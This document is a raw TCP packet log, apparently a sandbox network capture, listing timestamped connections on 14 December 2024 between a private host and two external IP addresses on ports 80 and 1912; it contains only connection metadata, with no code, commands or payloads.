Dec 14, 2024 14:56:33.302476883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.302561045 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.302630901 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.303659916 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.303750038 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.304809093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.304825068 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.304884911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.306004047 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.306142092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.306210995 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.307166100 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.307271004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.308334112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.308413982 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.308451891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.309525013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.309592962 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.309636116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.310735941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.310796022 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.310864925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.311888933 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.312012911 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.313136101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.313200951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.313275099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.314256907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.314382076 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.314464092 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.315478086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.315521955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.316644907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.316725016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.316773891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.320035934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.321280003 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.321593046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.321602106 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.321610928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.321620941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.321700096 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.321780920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.322642088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.322650909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.322843075 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.323910952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.323920965 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.324002981 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.325181007 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.325190067 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.325268984 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.326385021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.326395035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.326618910 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.327334881 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.327507019 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.327579021 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.328603983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.328613997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.328670979 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.329714060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.329901934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.329967976 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.331056118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.331130981 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.331227064 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.332041979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.332098961 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.332206964 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.333518028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.333699942 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.333761930 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.334625959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.334814072 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.334873915 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.335731983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.335916996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.336464882 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.336833000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.336890936 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.336996078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.338109016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.338120937 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.338181019 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.339183092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.339358091 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.339417934 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.340465069 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.340475082 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.340519905 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.341619968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.341793060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.341836929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.342879057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.342890024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.342952967 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.343974113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.344033003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.344151974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.345092058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.345273972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.345340014 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.346412897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.346422911 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.346460104 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.347503901 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.347553968 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.347683907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.348799944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.348809958 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.348865032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.349875927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.349885941 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.349917889 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.350959063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.351023912 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.351162910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.352238894 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.352248907 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.352343082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.353405952 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.353483915 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.353588104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.353853941 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.358067036 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.363779068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.363787889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.363832951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.364232063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.364411116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.364455938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.365493059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.365648031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.365684986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.366395950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.366591930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.366779089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.366868019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.367120981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.367894888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.367975950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.367993116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.368092060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.368999958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.369040966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.369108915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.369148016 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.370117903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.370158911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.370218039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.370258093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.371222973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.371258974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.371323109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.371361017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.372358084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.372458935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.372522116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.372522116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.373472929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.373513937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.373593092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.373764992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.374650955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.374697924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.374767065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.374808073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.375701904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.375744104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.375806093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.375844002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.376816988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.376864910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.376894951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.376962900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.377904892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.378026009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.378067970 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.379025936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.379112005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.380131006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.380176067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.380208969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.381277084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.381315947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.381371975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.382380009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.382421017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.382489920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.383382082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.383500099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.383615971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.383654118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.384598017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.384697914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.384735107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.385708094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.385819912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.385859966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.386812925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.386929035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.388381004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.388420105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.388506889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.389029026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.389089108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.389162064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.390182018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.390214920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.390227079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.391283035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.391295910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.391415119 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.391450882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.392389059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.392508984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.392548084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.393485069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.393589020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.393624067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.394603014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.394655943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.394706964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.395798922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.395833969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.395963907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.399004936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.402657032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.402667046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.402821064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.403184891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.403193951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.403693914 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.404185057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.404228926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.404289961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.404326916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.405275106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.405380964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.405394077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.405422926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.406403065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.406447887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.406497955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.406533957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.407488108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.407624006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.407665014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.408616066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.408724070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.408725023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.408768892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.409756899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.409868002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.409904957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.410882950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.410937071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.410983086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.411304951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.411998034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.412033081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.412045002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.412169933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.413084984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.413157940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.413197041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.414192915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.414307117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.414343119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.414630890 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.415323019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.415457964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.416428089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.416467905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.416544914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.417551994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.417592049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.417642117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.418672085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.418715000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.418745995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.419805050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.419843912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.419862032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.420892954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.420912027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.420932055 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.422045946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.422084093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.422111034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.423192978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.423233032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.423299074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.424254894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.424336910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.424375057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.425354004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.425484896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.425517082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.426515102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.426558971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.426567078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.427512884 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.427552938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.479357004 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.483270884 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.483283997 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.483355045 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.483500957 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.483582973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.483897924 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.484652996 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.484777927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.485861063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.485950947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.486021996 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.486741066 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.487051010 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.487183094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.487248898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.488205910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.488322020 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.488571882 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.489383936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.489479065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.489537954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.493935108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.493944883 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.493954897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.493964911 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.494102955 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.494112968 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.494112968 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.494126081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.495054960 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.495402098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.495631933 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.496577024 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.496676922 CET	80	49888	185.81.68.147	192.168.2.5
